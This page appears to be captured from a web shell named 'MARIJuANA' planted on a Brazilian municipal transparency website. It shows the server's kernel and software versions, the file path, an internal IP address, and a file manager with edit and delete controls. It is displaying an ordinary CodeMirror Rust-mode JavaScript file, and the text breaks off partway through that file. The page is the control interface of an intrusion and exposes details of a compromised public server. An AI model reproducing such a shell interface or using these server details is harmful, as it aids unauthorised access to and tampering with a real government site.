MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/barra_do_choca/public_html/transparencia/assets/filemanager/scripts/CodeMirror/mode/rust/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
index.html 1.379 KB -rw-rw-r-- 2021-07-19 09:19 R E G D
rust.js 15.941 KB -rw-rw-r-- 2021-07-19 09:19 R E G D
REQUEST EXIT
(function(mod) { if (typeof exports == "object" && typeof module == "object") // CommonJS mod(require("../../lib/codemirror")); else if (typeof define == "function" && define.amd) // AMD define(["../../lib/codemirror"], mod); else // Plain browser env mod(CodeMirror); })(function(CodeMirror) { "use strict"; CodeMirror.defineMode("rust", function() { var indentUnit = 4, altIndentUnit = 2; var valKeywords = { "if": "if-style", "while": "if-style", "else": "else-style", "do": "else-style", "ret": "else-style", "fail": "else-style", "break": "atom", "cont": "atom", "const": "let", "resource": "fn", "let": "let", "fn": "fn", "for": "for", "alt": "alt", "iface": "iface", "impl": "impl", "type": "type", "enum": "enum", "mod": "mod", "as": "op", "true": "atom", "false": "atom", "assert": "op", "check": "op", "claim": "op", "native": "ignore", "unsafe": "ignore", "import": "else-style", "export": "else-style", "copy": "op", "log": "op", "log_err": "op", "use": "op", "bind": "op", "self": "atom" }; var typeKeywords = function() { var keywords = {"fn": "fn", "block": "fn", "obj": "obj"}; var atoms = "bool uint int i8 i16 i32 i64 u8 u16 u32 u64 float f32 f64 str char".split(" "); for (var i = 0, e = atoms.length; i < e; ++i) keywords[atoms[i]] = "atom"; return keywords; }(); var operatorChar = /[+\-*&%=<>!?|\.@]/; // Tokenizer // Used as scratch variable to communicate multiple values without // consing up tons of objects. var tcat, content; function r(tc, style) { tcat = tc; return style; } function tokenBase(stream, state) { var ch = stream.next(); if (ch == '"') { state.tokenize = tokenString; return state.tokenize(stream, state); } if (ch == "'") { tcat = "atom"; if (stream.eat("\\")) { if (stream.skipTo("'")) { stream.next(); return "string"; } else { return "error"; } } else { stream.next(); return stream.eat("'") ? "string" : "error"; } } if (ch == "/") { if (stream.eat("/")) { stream.skipToEnd(); return "comment"; } if (stream.eat("*")) { state.tokenize = tokenComment(1); return state.tokenize(stream, state); } } if (ch == "#") { if (stream.eat("[")) { tcat = "open-attr"; return null; } stream.eatWhile(/\w/); return r("macro", "meta"); } if (ch == ":" && stream.match(":<")) { return r("op", null); } if (ch.match(/\d/) || (ch == "." && stream.eat(/\d/))) { var flp = false; if (!stream.match(/^x[\da-f]+/i) && !stream.match(/^b[01]+/)) { stream.eatWhile(/\d/); if (stream.eat(".")) { flp = true; stream.eatWhile(/\d/); } if (stream.match(/^e[+\-]?\d+/i)) { flp = true; } } if (flp) stream.match(/^f(?:32|64)/); else stream.match(/^[ui](?:8|16|32|64)/); return r("atom", "number"); } if (ch.match(/[()\[\]{}:;,]/)) return r(ch, null); if (ch == "-" && stream.eat(">")) return r("->", null); if (ch.match(operatorChar)) { stream.eatWhile(operatorChar); return r("op", null); } stream.eatWhile(/\w/); content = stream.current(); if (stream.match(/^::\w/)) { stream.backUp(1); return r("prefix", "variable-2"); } if (state.keywords.propertyIsEnumerable(content)) return r(state.keywords[content], content.match(/true|false/) ? "atom" : "keyword"); return r("name", "variable"); } function tokenString(stream, state) { var ch, escaped = false; while (ch = stream.next()) { if (ch == '"' && !escaped) { state.tokenize = tokenBase; return r("atom", "string"); } escaped = !escaped && ch == "\\"; } // Hack to not confuse the parser when a string is split in // pieces. return r("op", "string"); } function tokenComment(depth) { return function(stream, state) { var lastCh = null, ch; while (ch = stream.next()) { if (ch == "/" && lastCh == "*") { if (depth == 1) { state.tokenize = tokenBase; break; } else { state.tokenize = tokenComment(depth - 1); return state.tokenize(stream, state); } } if (ch == "*" && lastCh == "/") { state.tokenize = tokenComment(depth + 1); return state.tokenize(stream, state); } lastCh = ch; } return "comment"; }; } // Parser var cx = {state: null, stream: null, marked: null, cc: null}; function pass() { for (var i = arguments.length - 1; i >= 0; i--) cx.cc.push(arguments[i]); } function cont() { pass.apply(null, arguments); return true; } function pushlex(type, info) { var result = function() { var state = cx.state; state.lexical = {indented: state.indented, column: cx.stream.column(), type: type, prev: state.lexical, info: info}; }; result.lex = true; return result; } function poplex() { var state = cx.state; if (state.lexical.prev) { if (state.lexical.type == ")") state.indented = state.lexical.indented; state.lexical = state.lexical.prev; } } function typecx() { cx.state.keywords = typeKeywords; } function valcx() { cx.state.keywords = valKeywords; } poplex.lex = typecx.lex = valcx.lex = true; function commasep(comb, end) { function more(type) { if (type == ",") return cont(comb, more); if (type == end) return cont(); return cont(more); } return function(type) { if (type == end) return cont(); return pass(comb, more); }; } function stat_of(comb, tag) { return cont(pushlex("stat", tag), comb, poplex, block); } function block(type) { if (type == "}") return cont(); if (type == "let") return stat_of(letdef1, "let"); if (type == "fn") return stat_of(fndef); if (type == "type") return cont(pushlex("stat"), tydef, endstatement, poplex, block); if (type == "enum") return stat_of(enumdef); if (type == "mod") return stat_of(mod); if (type == "iface") return stat_of(iface); if (type == "impl") return stat_of(impl); if (type == "open-attr") return cont(pushlex("]"), commasep(expression, "]"), poplex); if (type == "ignore" || type.match(/[\]\);,]/)) return cont(block); return pass(pushlex("stat"), expression, poplex, endstatement, block); } function endstatement(type) { if (type == ";") return cont(); return pass(); } function expression(type) { if (type == "atom" || type == "name") return cont(maybeop); if (type == "{") return cont(pushlex("}"), exprbrace, poplex); if (type.match(/[\[\(]/)) return matchBrackets(type, expression); if (type.match(/[\]\)\};,]/)) return pass(); if (type == "if-style") return cont(expression, expression); if (type == "else-style" || type == "op") return cont(expression); if (type == "for") return cont(pattern, maybetype, inop, expression, expression); if (type == "alt") return cont(expression, altbody); if (type == "fn") return cont(fndef); if (type == "macro") return cont(macro); return cont(); } function maybeop(type) { if (content == ".") return cont(maybeprop); if (content == "::<"){return cont(typarams, maybeop);} if (type == "op" || content == ":") return cont(expression); if (type == "(" || type == "[") return matchBrackets(type, expression); return pass(); } function maybeprop() { if (content.match(/^\w+$/)) {cx.marked = "variable"; return cont(maybeop);} return pass(expression); } functi